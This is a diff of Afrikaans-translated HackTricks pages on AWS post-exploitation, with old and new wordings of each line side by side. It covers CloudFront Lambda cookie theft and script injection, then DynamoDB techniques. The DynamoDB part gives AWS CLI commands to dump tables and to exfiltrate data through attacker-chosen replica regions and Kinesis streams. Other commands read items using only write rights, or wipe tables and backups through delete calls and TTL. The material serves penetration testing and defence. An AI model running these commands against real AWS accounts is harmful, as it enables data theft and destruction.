Hierdie [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg kan word (of gewysig indien dit reeds gebruik word) in 'n kommunikasie deur CloudFront met die doel om **gebruikersinligting te steel** (soos die sessie **cookie**) en die **response** te **wysig** (deur 'n skadelike JS-skrip in te voeg).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Skep** die kwaadwillige **function**.
|
||||
- **Koppel** dit aan die CloudFront distribution.
|
||||
- Stel die **event type to "Viewer Response"**.
|
||||
- **Stel die event type op "Viewer Response"**.
|
||||
|
||||
Deur toegang tot die **response** te kry, kan jy die gebruiker se **cookie** steel en 'n malicious JS injekteer.
|
||||
Deur toegang tot die response te kry, kan jy die gebruiker se cookie steel en 'n skadelike JS-skrip invoeg.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Wysig die kode** van die lambda function om sensitiewe inligting te steel
|
||||
- **Wysig die code** van die Lambda function om sensitiewe inligting te steel
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Jy kan die [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) nagaan.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+69
-63
@@ -12,7 +12,10 @@ Vir meer inligting sien:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
'n aanvaller met hierdie toestemmings sal in staat wees om **items uit tabelle volgens die primêre sleutel te kry** (jy kan nie net vra vir al die data van die tabel nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabel se metadata te kry met `describe-table`).
|
||||
'n Aanvaller met hierdie toestemming sal in staat wees om **items uit tabelle te kry op grond van die primêre sleutel** (jy kan nie net al die data van die tabel opvra nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabelmetadata te bekom (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
```bash
|
||||
aws dynamodb batch-get-item --request-items file:///tmp/a.json
|
||||
|
||||
@@ -40,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind
|
||||
**Potensiële impak:** Indirek privesc deur sensitiewe inligting in die tabel te vind
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Soortgelyk aan die vorige permissions** stel hierdie een 'n potensiële aanvaller in staat om waardes uit slegs 1 tabel te lees, mits die primêre sleutel van die inskrywing bekend is:
|
||||
**Soortgelyk aan die vorige permissies** laat hierdie een 'n potensiële aanvaller toe om waardes uit slegs 1 tabel te lees, gegewe die primêre sleutel van die inskrywing wat opgehaal moet word:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -72,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind
|
||||
**Potential Impact:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Soortgelyk aan die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes te lees van net 1 tabel gegee die primêre sleutel van die inskrywing wat teruggehaal moet word. Dit laat toe om 'n [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel (wat moet verskyn) toegelaat word, is "EQ", dus kan jy nie 'n vergelyking gebruik om die hele DB in 'n versoek te kry nie.
|
||||
**Soortgelyk aan die vorige permissies** hierdie een laat 'n potensiële aanvaller toe om waardes van slegs 1 tabel te lees, gegee die primêre sleutel van die inskrywing wat opgehaal moet word. Dit laat toe om 'n [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel (wat moet verskyn) toegelaat word is "EQ", dus kan jy nie 'n vergelyking gebruik om die hele DB in 'n versoek te kry nie.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -104,15 +107,15 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Jy kan hierdie permissie gebruik om **dump die hele tabel maklik**.
|
||||
Jy kan hierdie toestemming gebruik om die hele tabel maklik te **dump**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Potensiële impak:** Indirek privesc deur sensitiewe inligting in die tabel te vind
|
||||
**Potensiële impak:** Indirekte privesc deur gevoelige inligting in die tabel te lokaliseer
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
@@ -121,18 +124,18 @@ Jy kan hierdie toestemming gebruik om **die hele tabel maklik te dump**.
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Hierdie toestemming laat ook toe om `batch-execute-statement` uit te voer soos:
|
||||
Hierdie toestemming laat ook toe om `batch-execute-statement` uit te voer, soos:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie so nuttig nie.
|
||||
maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie baie nuttig nie.
|
||||
|
||||
**Potensiële impak:** Indirect privesc deur gevoelige inligting in die tabel te lokaliseer
|
||||
**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te lokaliseer
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Hierdie toestemming sal 'n aanvaller toelaat om die **hele tabel na 'n S3 bucket van sy keuse uit te voer**:
|
||||
Hierdie toestemming sal 'n aanvaller toelaat om die hele tabel na 'n S3-bucket van sy keuse te **eksporteer**:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -141,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Let wel dat die tabel vir dit om te werk point-in-time-recovery geaktiveer moet hê; jy kan nagaan of die tabel dit het met:
|
||||
Let daarop: vir dit om te werk moet die tabel point-in-time-recovery ingeskakel wees. Jy kan nagaan of die tabel dit het met:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
@@ -152,23 +155,24 @@ aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind
|
||||
**Potential Impact:** Indirect privesc deur sensitiewe inligting in die tabel te lokaliseer
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
|
||||
Met hierdie permissies kan 'n aanvaller **'n nuwe tabel uit 'n backup skep** (of selfs 'n backup skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige permissies, sou hy in staat wees om **inligting** vanaf die backups na te gaan wat **nie meer in die produksie-tabel voorkom nie**.
|
||||
Met hierdie toestemmings sou 'n aanvaller in staat wees om **'n nuwe tabel vanaf 'n rugsteun te skep** (of selfs 'n rugsteun te skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige toestemmings, sou hy in staat wees om **inligting** uit die rugsteune te kontroleer wat n**ie meer in die produksie** tabel is nie.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel-rugsteun te vind
|
||||
**Potential Impact:** Indirect privesc deur sensitiewe inligting in die tabel-rugsteun te lokaliseer
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Hierdie toestemming stel gebruikers in staat om 'n **nuwe item by die tabel te voeg of 'n bestaande item deur 'n nuwe item te vervang**. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **gehele item met die nuwe item vervang word**. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **geskep** word.
|
||||
Hierdie toestemming laat gebruikers toe om 'n **nuwe item by die tabel te voeg of 'n bestaande item met 'n nuwe item te vervang**.
|
||||
|
||||
As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **gehele item vervang word** deur die nuwe item. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **geskep** word.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -200,11 +204,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Uitbuiting van verdere kwesbaarhede of bypasses deur die vermoë om data in 'n DynamoDB-tabel by te voeg of te wysig
|
||||
**Potensiële impak:** Uitbuiting van verdere vulnerabilities/bypasses deur die vermoë om data in 'n DynamoDB-tabel by te voeg of te wysig
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Hierdie toestemming maak dit vir gebruikers moontlik om die **bestaande eienskappe van 'n item te wysig of nuwe eienskappe by 'n item te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe instel wat in die update expression gespesifiseer is.
|
||||
Hierdie toestemming laat gebruikers toe om die bestaande eienskappe van 'n item te **wysig of nuwe eienskappe aan 'n item toe te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. Indien die primêre sleutel nie in die tabel bestaan nie, sal die operasie 'n **nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe stel soos gespesifiseer in die update expression.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -240,11 +244,11 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potensiële impak:** Uitbuiting van verdere vulnerabilities/bypasses deur die vermoë om data by te voeg/wysig in 'n DynamoDB tabel
|
||||
**Potensiële impak:** Eksploitasie van verdere vulnerabilities/bypasses deur in staat te wees om data by te voeg/wysig in 'n DynamoDB-tabel
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
'n aanvaller met hierdie toestemming kan **'n DynamoDB-tabel verwyder, wat dataverlies veroorsaak**
|
||||
'n aanvaller met hierdie toestemming kan **'n DynamoDB-tabel uitvee, wat dataverlies veroorsaak**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
@@ -254,20 +258,20 @@ aws dynamodb delete-table \
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **'n DynamoDB-rugsteun uitvee, wat moontlik dataverlies kan veroorsaak in die geval van 'n noodherstelscenario**.
|
||||
'n aanvaller met hierdie toestemming kan **'n DynamoDB-rugsteun verwyder, wat moontlik tot dataverlies kan lei in geval van 'n rampherwinningscenario**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potensiële impak**: Dataverlies en onvermoë om van 'n rugsteun te herstel tydens 'n rampherstel-scenario.
|
||||
**Potensiële impak**: Dataverlies en die onvermoë om vanaf 'n rugsteun te herstel tydens 'n rampherstel-scenario.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of dit eintlik werk
|
||||
> TODO: Toets of dit werklik werk
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan **'n stream op 'n DynamoDB-tabel aktiveer, die tabel bywerk om veranderinge te begin stroom, en dan toegang tot die stream kry om veranderinge aan die tabel in reële tyd te monitor**. Dit stel die aanvaller in staat om dataveranderinge te monitor en te exfiltrate, wat moontlik kan lei tot data leakage.
|
||||
Met hierdie toestemmings kan 'n aanvaller **aktiveer 'n stream op 'n DynamoDB-tabel, die tabel opdateer om veranderinge te begin stream, en dan toegang tot die stream kry om veranderinge aan die tabel in reële tyd te monitor**. Dit stel die aanvaller in staat om dataveranderinge te monitor en te exfiltreer, wat moontlik tot data leakage kan lei.
|
||||
|
||||
1. Aktiveer 'n stream op 'n DynamoDB-tabel:
|
||||
```bash
|
||||
@@ -276,13 +280,13 @@ aws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Beskryf die stroom om die ARN en ander besonderhede te bekom:
|
||||
2. Beskryf die stream om die ARN en ander besonderhede te verkry:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Kry die shard iterator deur die stream ARN te gebruik:
|
||||
3. Kry die shard iterator met behulp van die stream ARN:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -290,22 +294,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Gebruik die shard iterator om data van die stroom te benader en te exfiltrateer:
|
||||
4. Gebruik die shard iterator om toegang tot data op die stream te kry en dit te exfiltrate:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potensiële impak**: Real-time monitering en data leakage van die DynamoDB-tabel se veranderinge.
|
||||
**Potensiële impak**: Reële-tydmonitering en data leakage van die veranderinge in die DynamoDB-tabel.
|
||||
|
||||
### Lees items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
|
||||
'n Aanvaller met slegs `dynamodb:UpdateItem` op 'n tabel kan items lees sonder enige van die gewone lees-magtigings (`GetItem`/`Query`/`Scan`) deur 'n onskadelike update uit te voer en `--return-values ALL_OLD` te versoek. DynamoDB sal die volledige pre-update beeld van die item in die `Attributes` veld van die response teruggee (dit verbruik nie RCUs nie).
|
||||
'n aanvaller met slegs `dynamodb:UpdateItem` op 'n tabel kan items lees sonder enige van die gewone lees-toestemmings (`GetItem`/`Query`/`Scan`) deur 'n onskuldige update uit te voer en `--return-values ALL_OLD` aan te vra. DynamoDB sal die volledige pre-update beeld van die item in die `Attributes` field van die response teruggee (dit verbruik nie RCUs nie).
|
||||
|
||||
- Minimum toestemmings: `dynamodb:UpdateItem` op die teiken-tabel/sleutel.
|
||||
- Voorvereistes: Jy moet die item se primêre sleutel ken.
|
||||
- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
|
||||
- Vereistes: Jy moet die item se primêre sleutel ken.
|
||||
|
||||
Voorbeeld (voeg 'n onskadelike attribuut by en exfiltrates die vorige item in die response):
|
||||
Voorbeeld (voeg 'n onskadelike attribuut by en exfiltrates die vorige item in die reaksie):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -316,14 +320,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Die CLI-antwoord sal 'n `Attributes`-blok insluit wat die volledige vorige item (alle attributes) bevat, wat effektief 'n lees-primitive vanaf skryftoegang bied.
|
||||
Die CLI-antwoord sal 'n `Attributes`-blok bevat wat die volledige vorige item (alle attributes) insluit, en sodoende effektief 'n read primitive van write-only toegang bied.
|
||||
|
||||
**Potential Impact:** Lees arbitrêre items van 'n tabel met slegs skryftoestemmings, wat sensitiewe data exfiltration moontlik maak wanneer primêre sleutels bekend is.
|
||||
**Potential Impact:** Lees arbitrêre items uit 'n tabel met slegs write permissions, wat gevoelige data exfiltration moontlik maak wanneer primary keys bekend is.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Stealth exfiltration deur 'n nuwe replica Region by 'n DynamoDB Global Table (weergawe 2019.11.21) te voeg. As 'n principal 'n regionale replica kan byvoeg, word die hele tabel gerepliseer na die attacker-chosen Region, vanwaar die attacker alle items kan lees.
|
||||
Stealth exfiltration deur 'n nuwe replica Region by 'n DynamoDB Global Table (version 2019.11.21) te voeg. As 'n principal 'n regionale replica kan byvoeg, word die hele tabel na die deur die aanvaller gekose Region gerepliseer, vanwaar die aanvaller alle items kan lees.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -341,7 +345,7 @@ aws dynamodb describe-table --table-name <TableName> --region <replica-region> -
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (deur kliënt bestuurde KMS)" }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
@@ -352,13 +356,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissies: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
|
||||
Toestemmings: `dynamodb:UpdateTable` (met `replica-updates`) of `dynamodb:CreateTableReplica` op die teiken-tabel. As CMK in die replica gebruik word, mag KMS-permissies vir daardie sleutel vereis word.
|
||||
|
||||
Potensiële impak: Volledige tabelreplikasie na ’n streek wat deur die aanvaller beheer word, wat tot geslepe data-ekfiltrasie lei.
|
||||
Potensiële impak: Full-table replication na 'n aanvaller-beheerde Region wat lei tot stealthy data exfiltration.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
'n aanvaller met transaksionele skryfbevoegdhede kan die volle eienskappe van 'n bestaande item ekfiltreer deur 'n `Update` binne `TransactWriteItems` uit te voer wat opsetlik 'n `ConditionExpression` laat misluk terwyl `ReturnValuesOnConditionCheckFailure=ALL_OLD` gestel is. By mislukking sluit DynamoDB die vorige eienskappe in die transaksie-kansellasieredes in, wat skryf-alleen toegang effektief in lees-toegang tot geteikende sleutels omskakel.
|
||||
'n aanvaller met transactional write privileges kan die volledige attributes van 'n bestaande item exfiltrate deur 'n `Update` binne `TransactWriteItems` uit te voer wat opsetlik 'n `ConditionExpression` laat misluk terwyl `ReturnValuesOnConditionCheckFailure=ALL_OLD` gestel is. By mislukking sluit `DynamoDB` die vorige attributes in die transaksie-kansellasie-redes in, wat effektief write-only access in read access van geteikende sleutels omskakel.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -407,19 +411,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissies: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Geen leespermissies is vereis nie.
|
||||
Permissies: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Potensiële impak: Lees ewekansige items (per primêre sleutel) vanaf 'n tabel deur slegs transaksionele skryfprivileges te gebruik via die teruggegewe kanselleringsredes.
|
||||
Potensiële impak: Lees ewekansige items (per primêre sleutel) van 'n tabel slegs met transaksionele skryfregte deur die teruggegewe kanselleringsredes.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` op GSI
|
||||
|
||||
Om leesbeperkings te omseil deur 'n Global Secondary Index (GSI) met `ProjectionType=ALL` op 'n lae-entropie attribuut te skep, daardie attribuut op 'n konstante waarde oor items heen te stel, en dan die `Query` op die indeks te gebruik om volledige items te herstel. Dit werk selfs as `Query`/`Scan` op die basistabel geweier word, solank jy die index ARN kan query.
|
||||
Om leesbeperkings te omseil, skep 'n Global Secondary Index (GSI) met `ProjectionType=ALL` op 'n lae-entropie attribuut, stel daardie attribuut op 'n konstante waarde oor items, en `Query` dan die index om volledige items te kry. Dit werk selfs as `Query`/`Scan` op die basistabel geweier is, solank jy die index ARN kan query.
|
||||
|
||||
- Minimale permissies:
|
||||
- `dynamodb:UpdateTable` on the target table (om die GSI met `ProjectionType=ALL` te skep).
|
||||
- `dynamodb:UpdateItem` on the target table keys (om die geïndekseerde attribuut op elke item te stel).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- Minimum permissies:
|
||||
- `dynamodb:UpdateTable` op die teiken-tabel (om die GSI met `ProjectionType=ALL` te skep).
|
||||
- `dynamodb:UpdateItem` op die teiken-tabel sleutels (om die geïndekseerde attribuut op elke item te stel).
|
||||
- `dynamodb:Query` op die index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Stappe (PoC in us-east-1):
|
||||
```bash
|
||||
@@ -459,17 +463,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potensiële impak:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.
|
||||
**Potensiële impak:** Full table exfiltration deur 'n nuut geskepte GSI te bevraagteken wat alle attributte projekteer, selfs wanneer die base table read APIs geweier word.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Deurlopende exfiltration via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Misbruik van DynamoDB Kinesis streaming destinations om changes van 'n tabel deurlopend te exfiltrate na 'n attacker-controlled Kinesis Data Stream. Sodra dit geaktiveer is, word elke INSERT/MODIFY/REMOVE-event byna in real-time na die stream gestuur sonder dat read permissions op die tabel benodig word.
|
||||
Misbruik van DynamoDB Kinesis streaming destinations om veranderinge van 'n tabel deurlopend te exfiltrate na 'n Kinesis Data Stream wat deur die aanvaller beheer word. Sodra dit geaktiveer is, word elke INSERT/MODIFY/REMOVE gebeurtenis naby real-time na die stroom vooruitgestuur sonder dat lees-toestemmings op die tabel nodig is.
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` om die status te monitor
|
||||
- Read permissions on the attacker-owned Kinesis stream om rekords te verwerk: `kinesis:*`
|
||||
Minimum toestemmings (aanvaller):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` op die teikentabel
|
||||
- Opsioneel `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` om die status te monitor
|
||||
- Lees-toestemmings op die Kinesis-stroom wat deur die aanvaller beheer word om rekords te verbruik: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -528,17 +532,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
'n Aanvaller met die dynamodb:UpdateTimeToLive toestemming kan die tabel se TTL (time-to-live) konfigurasie verander — TTL aktiveer of deaktiveer. Wanneer TTL geaktiveer is, sal individuele items wat die gekonfigureerde TTL-attribuut bevat, outomaties verwyder word sodra hul vervaltyd bereik is. Die TTL-waarde is net nog ’n attribuut op elke item; items sonder daardie attribuut word nie deur TTL-gebaseerde verwydering beïnvloed nie.
|
||||
'n aanvaller met die dynamodb:UpdateTimeToLive-magtiging kan die TTL (vervaltyd) konfigurasie van 'n tabel verander — TTL inskakel of afskakel. Wanneer TTL aangeskakel is, sal individuele items wat die gekonfigureerde TTL-attribuut bevat, outomaties uitgevee word sodra hul vervaltyd bereik is. Die TTL-waarde is net 'n ander attribuut op elke item; items sonder daardie attribuut word nie deur TTL-gebaseerde verwydering geraak nie.
|
||||
|
||||
As items nog nie die TTL-attribuut bevat nie, sal die aanvaller ook ’n toestemming nodig hê wat items opdateer (byvoorbeeld dynamodb:UpdateItem) om die TTL-attribuut by te voeg en massa-verwyderings te aktiveer.
|
||||
As items nie reeds die TTL-attribuut bevat nie, sal die aanvaller ook 'n magtiging benodig wat items opdateer (byvoorbeeld `dynamodb:UpdateItem`) om die TTL-attribuut by te voeg en massasverwyderings te veroorsaak.
|
||||
|
||||
Skakel eers TTL op die tabel in en spesifiseer die attribuutnaam wat vir verval gebruik word:
|
||||
Eers, skakel TTL op die tabel aan en spesifiseer die attribuutnaam wat vir verval gebruik moet word:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Werk dan die items by om die TTL-attribuut (epoch-sekondes) by te voeg sodat hulle verstryk en verwyder sal word:
|
||||
Werk dan items by om die TTL attribuut (epoch seconds) by te voeg sodat hulle verstryk en verwyder sal word:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
@@ -548,15 +552,15 @@ aws dynamodb update-item \
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
’n aanvaller met dynamodb:RestoreTableFromAwsBackup of dynamodb:RestoreTableToPointInTime magte kan nuwe tabelle skep wat uit backups of uit point-in-time recovery (PITR) herstel is sonder om die oorspronklike tabel te oorskryf. Die herstelde tabel bevat ’n volledige beeld van die data op die gekose tydstip, sodat die aanvaller dit kan gebruik om historiese inligting te exfiltrate of om ’n volledige dump van die databasis se vorige toestand te verkry.
|
||||
'n Aanvaller met dynamodb:RestoreTableFromAwsBackup of dynamodb:RestoreTableToPointInTime regte kan nuwe tafels skep wat uit rugsteun of uit punt‑in‑tyd herstel (PITR) herstel is sonder om die oorspronklike tabel oor te skryf. Die herstelde tabel bevat 'n volledige beeld van die data op die gekose tydpunt, sodat die aanvaller dit kan gebruik om historiese inligting te exfiltrate of om 'n volledige dump van die databasis se vorige toestand te verkry.
|
||||
|
||||
Herstel ’n DynamoDB-tabel vanaf ’n on-demand backup:
|
||||
Herstel 'n DynamoDB-tabel vanaf 'n op-aanvraag-rugsteun:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
Herstel 'n DynamoDB-tabel na 'n punt in tyd (skep 'n nuwe tabel met die herstelde toestand):
|
||||
Herstel 'n DynamoDB-tabel na 'n spesifieke tydpunt (skep 'n nuwe tabel met die herstelde staat):
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
@@ -565,6 +569,8 @@ aws dynamodb restore-table-to-point-in-time \
|
||||
````
|
||||
</details>
|
||||
|
||||
**Potensiële impak:** Deurlopende, byna in reële tyd exfiltration van tabelveranderinge na 'n deur die aanvaller beheerde Kinesis-stream sonder direkte leesoperasies op die tabel.
|
||||
**Potensiële impak:** Deurlopende, byna regstreekse exfiltration van tabelveranderinge na 'n attacker-controlled Kinesis stream sonder direkte leesoperasies op die tabel.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+58
-59
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,8 +12,7 @@ Vir meer inligting, kyk:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
